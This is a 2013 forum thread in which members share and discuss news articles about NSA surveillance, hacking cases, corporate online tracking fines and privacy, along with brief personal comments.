"These committees are under tremendous pressure to work with the agencies," Mondale said at a Georgetown University event in September. "But the committee has a unique and different function, in addition to working with the agencies, to keep the Congress informed and, if necessary, the public … and I'm not comfortable that that part of the committee's work is being pursued."

Another Church Committee member -- former Sen. Gary Hart (D-Colo.) -- told HuffPost he did not think much of McCain's call for a new select committee.

"It seems to me that Senator McCain is in a way scoring political points here," Hart said. "He's poking the Senate Intelligence Committee in the eye.

"If established committees are not doing there job for whatever reason … you don't layer on top another committee, that is to compound the problems of congressional oversight," Hart said. Instead, he suggested reforms like "reconstituting" the committees with new members and imposing term limits on committee memberships to prevent so-called agency capture.

So far, said Trevor Timm of the Electronic Frontier Foundation, there has been little momentum in Congress for a new Church Committee.

"Unfortunately, we haven't seen much legislative movement," Timm wrote in an email to HuffPost. "Better late than never though, and it seems with each revelation more and more are calling for one."

Hart said he believes that instead of a new committee, it is time for President Barack Obama to rebuild the President's Intelligence Advisory Board, which is supposed to act as an independent advisory body within the White House. That board has just four members today, down from 14 in 2012.

Obama has set up a special review panel to look into the NSA revelations. But critics charge it is stocked with administration loyalists.

For Johnson, that panel's very existence is one more reason to set up a new Church Committee. It would "rivet attention" on NSA practices, and "when Obama's report comes out in December, be prepared to give that a complete scrubbing and critique."

What findings these various committees may come to is still very much uncertain. Months of revelations from former NSA contractor Edward Snowden's files have revealed startling surveillance activities by the NSA. So far, however, concrete examples of domestic surveillance abuses, like those exposed by the Church Committee, have not been forthcoming.

For Hart, comparing Snowden's leaks to the Church Committee's report is "apples and oranges." Hart and Mondale have added their names to an amicus court brief in the American Civil Liberties Union's federal lawsuit against the NSA calling for an end to the bulk collection of American phone call records. But nobody should be surprised, Hart said, that the NSA spies on wireless communications or foreigners.

Johnson, meanwhile, said he just doesn't know -- yet.

"Right know, I'm not sure we know exactly how serious this is, because so much of it is still shrouded in ambiguities and different points of view," Johnson said. "There's a lot to be done here, but it's all within the bailiwick of apparent abuses or overreaches."
Title: Re: they know what you are doing
Post by: Sinny on November 07, 2013, 02:59:34 am
I really don't se what the big deal is. As stated, we spy, they spy, we all spy. It's been going on since the beginning of time. And will continue!

Agreed.

The nature of the situation is wrong - however, that's the nature of the situation. 

Title: Re: they know what you are doing
Post by: The Matrix Traveller on November 07, 2013, 03:06:56 am
The human species is inherently Paranoid due to the "Double Logic" Algorithms, in our Genome...

So yes this is why we spy on each other... It's primate thingy.....  LOl.
Title: Re: they know what you are doing
Post by: Sinny on November 07, 2013, 03:14:49 am
The human species is inherently Paranoid due to the "Double Logic" Algorithms, in our Genome...

Oh, I read what you just said above twice this week. The same is stated within the contact notes of Billy Meier, and the work of Frits Springmeier.

Title: Re: they know what you are doing
Post by: The Matrix Traveller on November 07, 2013, 03:28:03 am
Interesting.....  Sorry I've never read their books or work, so I must confess I am ignorant regarding these two.   :)
Title: Re: they know what you are doing
Post by: Sinny on November 09, 2013, 05:40:52 am
Interesting.....  Sorry I've never read their books or work, so I must confess I am ignorant regarding these two.   :)

They are relatively knew to me also, I'll return with more info at a later date...However, it does seem like you share the same opinions  :)
Title: Re: they know what you are doing
Post by: sky otter on November 13, 2013, 10:47:42 am
 this is the bad part:
American writers have even started to self-censor their work,

http://www.huffingtonpost.com/2013/11/13/nsa-writers_n_4267716.html

NSA 'Chilling' Effect Feared By Writers


The Huffington Post  |  By Matt Sledge
Posted: 11/13/2013 11:50 am EST  |  Updated: 11/13/2013 12:06 pm EST


American writers are increasingly fearful of government surveillance in the wake of Edward Snowden's revelations about the National Security Agency and have even started to self-censor their work, a survey released by the writers' group PEN on Tuesday found.

Eighty-five percent of PEN's American members are worried about government surveillance, the group's report found. PEN is best known for standing up for the rights of writers internationally, championing imprisoned Nigerian playwright Wole Soyinka in the 1960s and Salman Rushdie when he was threatened with death for his book The Satanic Verses.

"We have long known that aggressive surveillance regimes in places like the Soviet Bloc, China, Iran, and elsewhere have cramped discourse and narrowed the flow of information and ideas," Suzanne Nossel, executive director of PEN American Center, said in a statement. "Recently disclosed U.S. surveillance practices are having a tangible and chilling effect on writers here at home."

Twenty-eight percent of PEN's members have curbed their social media use, 24 percent are avoiding certain topics in phone and email conversations, and 16 percent have avoided writing or speaking about issues, the survey found.

Now those concerns are coming home to America, PEN said. The report said writers are well aware of the NSA's surveillance practices like logging records of every American phone call and accessing the servers of major internet companies. Many now assume the government is listening in at will.

Writers reported being fearful about discussing military affairs, the Middle East North Africa region, mass incarceration, drug policies, pornography, the Occupy movement, the study of certain languages, and criticism of the U.S. government.
Title: Re: they know what you are doing
Post by: ArMaP on November 13, 2013, 04:32:49 pm
I always thought that there was too much self-censoring in the US, now things get even worse. :(
Title: Re: they know what you are doing
Post by: burntheships on November 14, 2013, 08:48:40 am
Well, this one is really bad, now its "Buy a book, expect to
be investigated".

Holy cow batman!

Americans' Personal Data Shared With CIA,
 IRS In Security Investigation: 


Quote
WASHINGTON — U.S. agencies collected and shared the personal information of thousands of Americans in an attempt to root out untrustworthy federal workers that ended up scrutinizing people who had no direct ties to the U.S. government and simply had purchased certain books.

http://www.mcclatchydc.com/2013/11/14/208438/americans-personal-data-shared.html

Title: Re: they know what you are doing
Post by: sky otter on November 14, 2013, 05:53:33 pm

well that is just another reason i canceled all the cards but one..and pay cash for everything

went and got a haircut at one of those sign in places and when i went to pay the girl says
can i have your last name..as she sat at the computer..i said no.. just type in susie smith
she smiled and says.. oh that's better than jane doe..we had one of those this morning.
totally unreal.
.stopped at the k mart to pick up a water jug filter that was on sale
the check out rang it up 5 bucks higher
i said that's not the sale price and the girl says
you have to have a rewards card to get that price
i said never mind
 >:(

so far they aren't finger printing if you have cash
Title: Re: they know what you are doing
Post by: sky otter on November 16, 2013, 05:28:01 am


http://www.huffingtonpost.com/2013/11/16/anonymous-hackers_n_4284799.html

Anonymous-Linked Hackers Accessed U.S. Government Computers, FBI Reportedly Warns

Reuters  |  By Jim Finkle and Joseph Menn
Posted: 11/15/2013 5:42 pm EST



By Jim Finkle and Joseph Menn

BOSTON/SAN FRANCISCO (Reuters) - Activist hackers linked to the collective known as Anonymous have secretly accessed U.S. government computers in multiple agencies and stolen sensitive information in a campaign that began almost a year ago, the FBI warned this week.

The hackers exploited a flaw in Adobe Systems Inc's software to launch a rash of electronic break-ins that began last December, then left "back doors" to return to many of the machines as recently as last month, the Federal Bureau of Investigation said in a memo seen by Reuters.

The memo, distributed on Thursday, described the attacks as "a widespread problem that should be addressed." It said the breach affected the U.S. Army, Department of Energy, Department of Health and Human Services, and perhaps many more agencies.

Investigators are still gathering information on the scope of the cyber campaign, which the authorities believe is continuing. The FBI document tells system administrators what to look for to determine if their systems are compromised.

An FBI spokeswoman declined to elaborate.

According to an internal email from Energy Secretary Ernest Moniz' chief of staff, Kevin Knobloch, the stolen data included personal information on at least 104,000 employees, contractors, family members and others associated with the Department of Energy, along with information on almost 2,0000 bank accounts.

The email, dated October 11, said officials were "very concerned" that loss of the banking information could lead to thieving attempts.

Officials said the hacking was linked to the case of Lauri Love, a British resident indicted on October 28 for allegedly hacking into computers at the Department of Energy, Army, Department of Health and Human Services, the U.S. Sentencing Commission and elsewhere.

Investigators believe the attacks began when Love and others took advantage of a security flaw in Adobe's ColdFusion software, which is used to build websites.

Adobe spokeswoman Heather Edell said she was not familiar with the FBI report. She added that the company has found that the majority of attacks involving its software have exploited programs that were not updated with the latest security patches.

The Anonymous group is an amorphous collective that conducts multiple hacking campaigns at any time, some with a few participants and some with hundreds. In the past, its members have disrupted eBay's Inc PayPal after it stopped processing donations to the anti-secrecy site Wikileaks. Anonymous has also launched technically more sophisticated attacks against Sony Corp and security firm HBGary Federal.

Some of the breaches and pilfered data in the latest campaign had previously been publicized by people who identify with Anonymous, as part of what the group dubbed "Operation Last Resort."

Among other things, the campaigners said the operation was in retaliation for overzealous prosecution of hackers, including the lengthy penalties sought for Aaron Swartz, a well-known computer programmer and Internet activist who killed himself before a trial over charges that he illegally downloaded academic journal articles from a digital library known as JSTOR.

Despite the earlier disclosures, "the majority of the intrusions have not yet been made publicly known," the FBI wrote. "It is unknown exactly how many systems have been compromised, but it is a widespread problem that should be addressed."

(Reporting by Joseph Menn in San Francisco and Jim Finkle in Boston; Additional reporting by Valerie Volcovici and Alina Selyukh; Editing by Tiffany Wu and Tim Dobbyn)


...............................



Jeremy Hammond Sentenced To 10 Years In Prison
Posted: 11/15/2013 12:23 pm EST  |  Updated: 11/15/2013 2:37 pm EST


NEW YORK -- Convicted hacker Jeremy Hammond was sentenced Friday to 10 years in prison for stealing internal emails from the global intelligence firm Stratfor.

Shuffling into courtroom with long, wavy hair and a wide smile, Hammond shouted "what's up, my brothers" to a courtroom packed with scores of supporters. When it was his turn to speak to the court, he claimed in a defiant sentencing statement that his acts were meant to expose the truth and that he hacked foreign government websites at the behest of an FBI informant.

"The acts of civil disobedience and direct action that I am being sentenced for today are in line with the principles of community and equality that have guided my life," Hammond said in a prepared statement provided to HuffPost Live. "I took responsibility for my actions, by pleading guilty, but when will the government be made to answer for its crimes?"

rest here:  http://www.huffingtonpost.com/2013/11/15/jeremy-hammond-sentenced_n_4280738.html?ref=topbar
Title: Re: they know what you are doing
Post by: Sgt.Rocknroll on November 16, 2013, 06:07:04 am
I know this too well, having been a victim of the above hackers. My info was compromised by this incident.

they can rot in hell....
Title: Re: they know what you are doing
Post by: sky otter on November 20, 2013, 02:42:57 pm

it's really getting hard to stay positive and think kindly of your fellow wo/man



http://www.huffingtonpost.com/2013/11/18/yahoo-data_n_4297619.html?utm_hp_ref=technology

Marissa Mayer Takes Big Step To Protect People From NSA
AP  |  Posted: 11/18/2013 2:43 pm EST  |  Updated: 11/18/2013 2:48 pm EST

SAN FRANCISCO (AP) — Yahoo is expanding its efforts to protect its users' online activities from prying eyes by encrypting all the communications and other information flowing into the Internet company's data centers around the world.

The commitment announced Monday by Yahoo Inc. CEO Marissa Mayer follows a recent Washington Post report that the National Security Agency has been hacking into the communications lines of the data centers run by Yahoo and Google Inc. to intercept information about what people do and say online.

Yahoo had previously promised to encrypt its email service by early January. Now, the Sunnyvale, California, company plans to have all data encrypted by the end of March to make it more difficult for unauthorized parties to decipher the information.

Google began to encrypt its Gmail service in 2010 and has since introduced the security measure on many other services. The Mountain View, California, company has promised to encrypt the links to its data centers, too. A Google engineer said that task had been completed in a post on his Google Plus account earlier this month, but the company hasn't yet confirmed all the encryption work is done.

Other documents leaked to various media outlets by former NSA contractor Edward Snowden this year have revealed that Yahoo, Google and several other prominent technology companies, including Microsoft Corp., Facebook Inc. and Apple Inc., have been feeding the U.S. government some information about their international users under a court-monitored program called PRISM. The companies maintain they have only surrendered data about a very small number of users, and have only cooperated when legally required.

The NSA says its online surveillance programs have played an instrumental role in thwarting terrorism.

The increased use of encryption technology is aimed at stymieing government surveillance that may be occurring without the companies' knowledge. Even when it's encrypted, online data can still be heisted, but the information looks like gibberish without the decoding keys.

"I want to reiterate what we have said in the past: Yahoo has never given access to our data centers to the NSA or to any other government agency," Yahoo CEO Marissa Mayer wrote in a Monday post on the company's Tumblr blog.

Facebook also has said it's cloaking its social networking network with greater encryption, but hasn't publicly set a timetable for getting all the added protection in place.

Debunking the perception that the NSA and other U.S. government agencies can easily vacuum up potentially sensitive information about people's online lives is important to Yahoo, Google and other Internet companies because they need Web surfers to regularly use their services so they can sell more of the digital ads that bring in most of their revenue.

The companies fear the government spying revelations eventually will drive some people away from their services and make it more difficult to attract more users outside the U.S. If that were to happen, it could slow the companies' financial growth and undercut their stock prices.

Yahoo has been struggling to boost its revenue for years, making it even more important for the company to reassure its 800 million users worldwide about the sanctity of their personal information.


..............................



http://www.huffingtonpost.com/2013/11/18/google-safari-privacy_n_4296867.html?utm_hp_ref=technology

Google To Pay $17 Million Fine For Secretly Following You Online

 Posted: 11/18/2013 1:51 pm EST

Gerry Smith

Google has agreed to pay $17 million to settle charges that it secretly tracked some consumers' activities on the Web, even after promising such tracking had been blocked, New York Attorney General Eric Schneiderman said Monday.

Attorneys general in 28 states had alleged that Google violated state consumer protection laws and computer privacy laws by not telling users of Apple's Safari browser that it was bypassing privacy settings in order to show them targeted advertisements.

"Consumers should be able to know whether there are other eyes surfing the web with them,” Schneiderman said in a statement. “By tracking millions of people without their knowledge, Google violated not only their privacy, but also their trust.”

The case stems from Google’s method of displaying targeted ads by using "cookies," or small files installed on web browsers that create invisible records of online browsing habits. Google had said on its website that Safari's privacy settings could prevent Google from tracking these cookies. But a story in the Wall Street Journal last year revealed that Google was able to go around those settings by exploiting a loophole in Safari's browser, and then track users across websites in the company's DoubleClick ad network. For example, a Safari user who visited websites on how to get out of debt could then be served Google ads on other sites offering them debt relief services.

"We work hard to get privacy right at Google and have taken steps to remove the ad cookies, which collected no personal information, from Apple’s browsers," the company said in a statement. "We're pleased to have worked with the state attorneys general to reach this agreement."

In a separate case brought last year by the Federal Trade Commission, Google agreed to pay a $22.5 million fine over similar charges that it bypassed privacy settings in the Safari browser. That fine was the largest settlement ever obtained by the commission.

Google did not admit to wrongdoing in the FTC case, and said the tracking was accidental.

The $40 million in fines that Google has agreed to pay to settle charges in both cases is but a small fraction of the search giant's total revenue, which was $50 billion last year.

Meanwhile, Google is still fighting other charges of privacy violations. In September, a federal appeals court ruled that a suit accusing Google of illegal wiretapping could proceed. The suit involves the company's controversial Street View vehicles, which secretly gathered data from private computers via Wi-Fi as they created detailed maps of the world.

.....................................

What Your Cell Phone Company Doesn't Want You To Know

Wireless Carriers Block Simple Solution To Phone Theft To Protect Profits, Prosecutor Says


Posted: 11/20/2013 3:07 pm EST  |  Updated: 11/20/2013 3:11 pm EST



As cell phone robberies have soared nationwide, phone companies have found a lucrative side business offering insurance to customers who are anxious their devices may be lost or stolen.

The top four wireless carriers will earn more than $7.8 billion this year in insurance premiums from their customers, according to an estimate by Warranty Week, an industry trade publication. Asurion, a phone insurance company that pays the wireless carriers for each policy they sell, made an estimated $98 million in profit in 2010, according to Businessweek.

“If you do the math, the phone companies are making out like bandits," said Richard Doherty, a director for Envisioneering Group, a market research firm.

Now, a top prosecutor is claiming that phone companies looking to preserve their profits from selling phone insurance are standing in the way of a solution that could protect consumers from violent robberies.

rest of article herehttp://www.huffingtonpost.com/2013/11/20/iphone-kill-switch_n_4308924.html
Title: Re: they know what you are doing
Post by: Amaterasu on November 20, 2013, 05:09:11 pm
Quote
Google To Pay $17 Million Fine For Secretly Following You Online

The question is.....

WHO ARE THEY PAYING THIS MONEY TO???
Title: Re: they know what you are doing
Post by: sky otter on November 20, 2013, 05:29:47 pm


it's a fine so  my guess was to whoever made the rule..
not the consumers though...sigh
here's what i found




http://www.rawstory.com/rs/2013/11/18/google-will-pay-u-s-17-million-in-privacy-settlement/

Google last year paid a $22.5 million fine to the US Federal Trade Commission on the same issue.
The latest settlement includes 37 states and the federal District of Columbia. New York will receive $899,580, Schneiderman said.





http://abcnews.go.com/Technology/wireStory/google-agrees-pay-17-million-settlement-20926939

Google to Pay $17M to Settle Safari Privacy Case
Google is paying $17 million to 37 states and the District of Columbia to make amends for the Internet search leader's snooping on millions of people using Safari Web browsers in 2011 and 2012.



http://www.dailytech.com/Google+Agrees+to+17+Million+Fine+Over+Unauthorized+Tracking/article33777.htm
The $17 million fine comes months after Google agreed to pay $22.5 million to the FTC for the same practice of placing unauthorized tracking cookies.




http://www.nytimes.com/2013/11/19/technology/google-to-pay-17-million-to-settle-privacy-case.html?hpw&rref=technology&_r=0
SAN FRANCISCO — Google agreed on Monday to pay $17 million to 37 states and the District of Columbia in a wide-reaching settlement over tracking consumers online without their knowledge.





Title: Re: they know what you are doing
Post by: Amaterasu on November 20, 2013, 06:38:54 pm
So We the Humans, the wronged, don't get a part of any of it, it would seem.  Hmmmm.

Thanks for the research, sky! GFY!
Title: Re: they know what you are doing
Post by: zorgon on November 20, 2013, 10:27:14 pm
So We the Humans, the wronged, don't get a part of any of it, it would seem.  Hmmmm.

You expected different in this Paradigm?  :P

But the important issue here is...

SOMEONE nailed google for spying on us...

That means there is some light at the end of the tunnel that doesn't have the train in it

And SOMEONE naile JP Morgan for billions of dollars for crooked trading.

May be drops in the bucket but a bucket can be filled by drops :D
Title: Re: they know what you are doing
Post by: sky otter on November 21, 2013, 07:09:49 am


ahhhhhhhh ..how the masses are herded...ads..



http://www.huffingtonpost.com/2013/11/16/facebook-privacy-policy_n_4288916.html?utm_hp_ref=technology


Facebook Launches New Privacy Policies And You Still Can Be Used For Ads

The Huffington Post  |  By Drew Guarini Posted: 11/16/2013 7:10 pm EST  |  Updated: 11/16/2013 7:14 pm EST



Are you sitting down? Doesn't matter, this isn't going to surprise you.

Facebook reaffirmed its position on Friday that it's able to use the postings and personal information of 1.2 billion accounts on the service for advertising purposes. The social media website announced the new privacy policies in a blog post on the site.

Facebook initially included, then removed, a line about how minors who join the site needed a parent or guardian to give consent before they are used in ads. Facebook now says that this permission is granted once the teen signs up for the site.

The changes were first proposed by Facebook in August, then drew the attention of the Federal Trade Commission after privacy groups complained in September that Facebook was exploiting minors. The changes followed Facebook's $20 million settlement in August of a class action lawsuit that claimed the company's "Sponsored Stories" platform had shared users' "likes" without paying them or allowing them to opt out.

In 2011, Facebook and the FTC had reached a separate settlement over alleged privacy violations by the site. Facebook agreed to scheduled checkups by "independent, third-party auditors" over the next 20 years to ensure that the company's privacy policies and practices do not violate users' rights.

In the blog post Friday explaining the policy, Facebook Chief Privacy Officer Erin Egan said the sentence regarding minors did not grant the company any additional rights over user content. After receiving feedback, the company agreed "that the language was confusing" and "removed the sentence."

Despite Facebook's clarification, many members of the site remain confused about their privacy options. In the August settlement, Facebook was ordered to implement provisions to make its user privacy policy more transparent. One part of the policy says the company will give parents the chance to prevent their children's information from being used in ads, and that the site will let users know if any comments they made on the site were turned into a "Sponsored Stories" ad, giving them the chance to opt out.

“The innovative controls we agreed to in connection with the settlement take time to build,” Jodi Seth, a Facebook spokeswoman told The New York Times in a Friday story. She offered no timetable for introducing them.
Title: Re: they know what you are doing
Post by: sky otter on November 26, 2013, 08:12:15 am


http://www.nytimes.com/2013/11/26/technology/a-peephole-for-the-nsa.html?pagewanted=1&_r=1&hp&

N.S.A. May Have Hit Internet Companies at a Weak Spot
By NICOLE PERLROTH and JOHN MARKOFF
Published: November 25, 2013

SAN FRANCISCO — The recent revelation that the National Security Agency was able to eavesdrop on the communications of Google and Yahoo users without breaking into either companies’ data centers sounded like something pulled from a Robert Ludlum spy thriller.

How on earth, the companies asked, did the N.S.A. get their data without them knowing about it?

The most likely answer is a modern spin on a century-old eavesdropping tradition.



People knowledgeable about Google and Yahoo’s infrastructure say they believe that government spies bypassed the big Internet companies and hit them at a weak spot — the fiber-optic cables that connect data centers around the world that are owned by companies like Verizon Communications, the BT Group, the Vodafone Group and Level 3 Communications. In particular, fingers have been pointed at Level 3, the world’s largest so-called Internet backbone provider, whose cables are used by Google and Yahoo.



The Internet companies’ data centers are locked down with full-time security and state-of-the-art surveillance, including heat sensors and iris scanners. But between the data centers — on Level 3’s fiber-optic cables that connected those massive computer farms — information was unencrypted and an easier target for government intercept efforts, according to three people with knowledge of Google’s and Yahoo’s systems who spoke on the condition of anonymity.



It is impossible to say for certain how the N.S.A. managed to get Google and Yahoo’s data without the companies’ knowledge. But both companies, in response to concerns over those vulnerabilities, recently said they were now encrypting data that runs on the cables between their data centers. Microsoft is considering a similar move.



“Everyone was so focused on the N.S.A. secretly getting access to the front door that there was an assumption they weren’t going behind the companies’ backs and tapping data through the back door, too,” said Kevin Werbach, an associate professor at the Wharton School.

Data transmission lines have a long history of being tapped.



As far back as the days of the telegraph, spy agencies have located their operations in proximity to communications companies. Indeed, before the advent of the Internet, the N.S.A. and its predecessors for decades operated listening posts next to the long-distance lines of phone companies to monitor all international voice traffic.



Beginning in the 1960s, a spy operation code-named Echelon targeted the Soviet Union and its allies’ voice, fax and data traffic via satellite, microwave and fiber-optic cables.

In the 1990s, the emergence of the Internet both complicated the task of the intelligence agencies and presented powerful new spying opportunities based on the ability to process vast amounts of computer data.

In 2002, John M. Poindexter, former national security adviser under President Ronald Reagan, proposed the Total Information Awareness plan, an effort to scan the world’s electronic information — including phone calls, emails and financial and travel records. That effort was scrapped in 2003 after a public outcry over potential privacy violations.



The technologies Mr. Poindexter proposed are similar to what became reality years later in N.S.A. surveillance programs like Prism and Bullrun.

The Internet effectively mingled domestic and international communications, erasing the bright line that had been erected to protect against domestic surveillance. Although the Internet is designed to be a highly decentralized system, in practice a small group of backbone providers carry almost all of the network’s data.



The consequences of the centralization and its value for surveillance was revealed in 2006 by Mark Klein, an AT&T technician who described an N.S.A. listening post inside a room at an AT&T switching facility.

The agency was capturing a copy of all the data passing over the telecommunications links and then filtering it in AT&T facilities that housed systems that were able to filter data packets at high speed.



Documents taken by Edward J. Snowden and reported by The Washington Post indicate that, seven years after Mr. Klein first described the N.S.A.’s surveillance technologies, they have been refined and modernized.



“From Echelon to Total Information Awareness to Prism, all these programs have gone under different names, but in essence do the same thing,” said Chip Pitts, a law lecturer at Stanford University School of Law.



Based in the Denver suburbs, Level 3 is not a household name like Verizon or AT&T, but in terms of its ability to carry traffic, it is bigger than the other two carriers combined. Its networking equipment is found in 200 data centers in the United States, more than 100 centers in Europe and 14 in Latin America.



Level 3 did not directly respond to an inquiry about whether it had given the N.S.A., or the agency’s foreign intelligence partners, access to Google and Yahoo’s data. In a statement, Level 3 said: “It is our policy and our practice to comply with laws in every country where we operate, and to provide government agencies access to customer data only when we are compelled to do so by the laws in the country where the data is located.”

Also, in a financial filing, Level 3 noted that, “We are party to an agreement with the U.S. Departments of Homeland Security, Justice and Defense addressing the U.S. government’s national security and law enforcement concerns. This agreement imposes significant requirements on us related to information storage and management; traffic management; physical, logical and network security arrangements; personnel screening and training; and other matters.”



Security experts say that regardless of whether Level 3’s participation is voluntary or not, recent N.S.A. disclosures make clear that even when Internet giants like Google and Yahoo do not hand over data, the N.S.A. and its intelligence partners can simply gather their data downstream.



That much was true last summer when United States authorities first began tracking Mr. Snowden’s movements after he left Hawaii for Hong Kong with thousands of classified documents. In May, authorities contacted Ladar Levison, who ran Lavabit, Mr. Snowden’s email provider, to install a tap on Mr. Snowden’s email account. When Mr. Levison did not move quickly enough to facilitate the tap on Lavabit’s network, the Federal Bureau of Investigation did so without him.



Mr. Levison said it was unclear how that tap was installed, whether through Level 3, which sold bandwidth to Lavabit, or at the Dallas facility where his servers and networking equipment are stored. When Mr. Levison asked the facility’s manager about the tap, he was told the manager could not speak with him. A spokesman for TierPoint, which owns the Dallas facility, did not return a call seeking a comment.

Mr. Pitts said that while working as the chief legal officer at Nokia in the 1990s, he successfully fended off an effort by intelligence agencies to get backdoor access into Nokia’s computer networking equipment.



Nearly 20 years later, Verizon has said that it and other carriers are forced to comply with government requests in every country in which they operate, and are limited in what they can say about their arrangements.

“At the end of the day, if the Justice Department shows up at your door, you have to comply,” Lowell C. McAdam, Verizon’s chief executive, said in an interview in September. “We have gag orders on what we can say and can’t defend ourselves, but we were told they do this with every carrier.”

Title: Re: they know what you are doing
Post by: Elvis Hendrix on November 27, 2013, 03:26:36 am
NSA 'infected' 50,000 networks with malware
(http://i1284.photobucket.com/albums/a572/paparumbo/_71326080_019321402-1_zpsa51d11c3.jpg)

The NSA and GCHQ are alleged to have installed malware on the networks of targets including the Belgian telecoms firm Belgacom



The US National Security Agency (NSA) infected 50,000 networks with malware, Dutch newspaper NRC has reported.

The Tailored Access Operations department used it to steal sensitive information, according to a censored slide leaked by former NSA contractor Edward Snowden.

NRC said 20,000 networks had been hit in 2008, with the program recently expanded to include others in Rome, Berlin, Pristina, Kinshasa, Rangoon.

The NSA declined to comment.

The malware could be put in a "sleeper" mode and activated with a click of a button, the paper said.

"Clearly, conventional criminal gangs aren't the only people interested in breaking into computer networks anymore," wrote computer security expert Graham Cluley in a blogpost.

"All organisations need to ask themselves the question of whether they could be at risk."

The reports come as Twitter introduces technology it says will help protect people's messages from unwanted scrutiny.

It has employed a system known as "forward secrecy" that makes it harder for eavesdroppers to access the keys used to encrypt data passing between Twitter's servers and users' phones, tablets and PCs.



http://www.bbc.co.uk/news/technology-25087627
Title: Re: they know what you are doing
Post by: sky otter on November 27, 2013, 08:59:34 am


Elvis... thanks for adding this.. i hope others will add what they see...
kinda keepin a rocord of all the bs   ::)
Title: Re: they know what you are doing
Post by: Somamech on November 27, 2013, 09:54:20 am
From techincal viewpoint regarding tagerted advert's you have to give some credit as thats some pretty nailed down info gathering.  Just at work the other day I noticed an Advert for an Arab Single's Dating Agency.  The first I have ever seen of such a site, and it's due to working with someone born here in OZ with a Lebanese Background USING the WEB at WORK.  Obviously work has a strict web policy like anywhere else on this planet where web access is considered a staple.  IE the PERSON at work is not looking up ARAB pron or what have you in their spare time. 

Also coming from a techical viewpoint and marketing it's also quite easy to see how the technology is not that quite good, and Marketing Dept's for the most part have no idea how to pull their easy money drip feed out of "the old pardigm" as some would say, and get with the program.  If you watch any Google Video and you don't have some ad blocking program its clear to see Marketing People snort too much coke and have no idea how to convey a message before viewer click's the skip button one the timeout occur's.

Having said all that I don't agree with all these Google's and this and that, but at the same time we must realise they are also not censoring anyone to any major degree.  You can still make it in this world using the web, the game is lopsided thats for sure... But is was also lopsided until the Ewoks figured out how to ride The best Sci-Fi rendition of two wheels going ;)

And also remember that prior to the last few years we all were born and had signed doc's handed over to our gov officials stating our name and birth date etc.  That has happened for a long time well before the web. And honestly when you think about privacy that's probably the craziest info to give away along with getting married and signing gov documents.

People fight though and thats GOOD. This world we live aint right, aint fair and what have you, but the platform still allow's for change, and the smart people always figure out how to manipulate it! 

   

   

 

Title: Re: they know what you are doing
Post by: Somamech on November 27, 2013, 10:08:30 am
It could also be argued that Google have created the world's most Interactive TV platform in the form of Youtube that people can make money from and quit their day jobs purley from from spouting message's that are anti Illuminati.  Go ask the people that are making good buck's doing just that on youtube ;)

 

 
Title: Re: they know what you are doing
Post by: sky otter on November 29, 2013, 11:21:41 pm

adding to  what Elvis  shared




http://www.sci-tech-today.com/story.xhtml?story_id=12300DQHRUPF

Report: NSA Has Infected 50,000 Networks with Spyware

By Seth Fitzgerald
November 25, 2013 10:54AM

"[A] presentation shows that the intelligence service uses 'Computer Network Exploitation' (CNE) in more than 50,000 locations," said the Dutch newspaper NRC Handelsblad, which broke the story with information from former NSA contract employee Edward Snowden. "CNE is the secret infiltration of computer systems achieved by installing malware."

 It appears the National Security Agency will stop at nothing to gain information on as many people as possible. This comes after a new report that the U.S. government organization infected 50,000 networks with malware in order to directly steal data.
This malware, according to the report, can lay dormant for as long as the NSA wants it to, before the agency turns the software  on to begin collecting information. By keeping the virus hidden and using various tactics to keep it hidden, network administrators are unlikely to know whether their network has been compromised.

Only Getting Worse

If the report ends up being correct the NSA has been infecting computers for some time and has been increasing the scope of the program. This sort of data-gathering is coming from just one part of the agency, called TAO (Tailored Access Operations). For the most part, this sector of the NSA is rarely talked about and is one of the more secretive areas of the organization.

As of 2008, the NSA had infected 20,000 networks around the world, including in Europe and the United States. However, the agency has been stepping up its network infiltration program to include 50,000 networks in numerous other areas, including in Rome; Berlin; Pristina, Kosovo; Kinshasa, the Congo; and Rangoon, Myanmar.

"[A] presentation shows that the intelligence  service uses 'Computer Network Exploitation' (CNE) in more than 50,000 locations," said the Dutch newspaper NRC Handelsblad, which broke the story with information provided by former NSA contract employee Edward Snowden. "CNE is the secret infiltration of computer systems achieved by installing malware, malicious software."

Unlike some of its other spying programs, the NSA does not have any intention of ramping down its infiltration practices any time soon. Within the next couple of years, the agency would like to have as many as 80,000 networks infiltrated with the elusive malware, according to the report.

Stepping Down

With the Snowden revelations ruining the NSA's reputation and causing the vast majority of U.S. citizens to criticize the agency's practices, NSA Director Keith Alexander is stepping down next year. Alexander's decision to remove himself from the NSA has been known since October, but a new report shows that the director may have been trying to resign since the first Snowden leaks came out.

According to a Wall Street Journal report, Alexander has been trying to get away from the NSA for a while in order to save whatever reputation he can. Even though he offered to resign, the Obama administration apparently chose to deny his offer, forcing him to wait it out.

"The offer, which hasn't previously been reported, was declined by the Obama administration," the Journal said. "But it shows the degree to which Mr. Snowden's revelations have shaken the NSA's foundations -- unlike any event in its six-decade history, including the blowback against domestic spying in the 1970s."
 


.....................

http://www.pcworld.com/article/2066840/nsa-reportedly-compromised-more-than-50000-networks-worldwide.html

NSA infected 50,000 networks with specialized malware
Lucian Constantin, IDG News Service
Nov 25, 2013 5:34 AM

Lucian Constantin, IDG News ServiceReporter, IDG News Service, IDG News Service
Lucian Constantin writes about information security, privacy and data protection.
More by Lucian Constantin, IDG News Service



The U.S. National Security Agency reportedly hacked into over 50,000 computer networks around the world as part of its global intelligence gathering efforts, and also taps into large fiber optic cables that transport Internet traffic between continents at 20 different major points.

The agency installed specialized malware referred to as "implants" on over 50,000 devices in order to perform Computer Network Exploitation (CNE), Dutch newspaper NRC Handelsblad reported Saturday based on documents it said were leaked by former NSA contractor Edward Snowden.

The information is reportedly taken from a 2012 top secret presentation about the NSA's worldwide signals intelligence gathering capabilities that was shared with the intelligence services of Australia, Canada, the U.K. and New Zealand that form the Five Eyes partnership.

CNE is one of three types of Computer Network Operations that NSA computer specialists perform. It "includes enabling actions and intelligence collection via computer networks that exploit data gathered from target or enemy information systems or networks," the NSA says on its careers website.

According to a presentation slide published by NRC, the NSA deployed over 50,000 CNE "implants" world-wide.

The Washington Post reported in August that the attack tools used for these implants are developed by a specialized NSA team called Tailored Access Operations (TAO) and are designed to compromise routers, switches and firewalls to monitor entire networks.

The implants persist through software and equipment upgrades and can be used to harvest communications, copy stored data and tunnel into the compromised networks from outside, according to the Washington Post. Their number is expected to reach over 85,000 by the end of 2013.

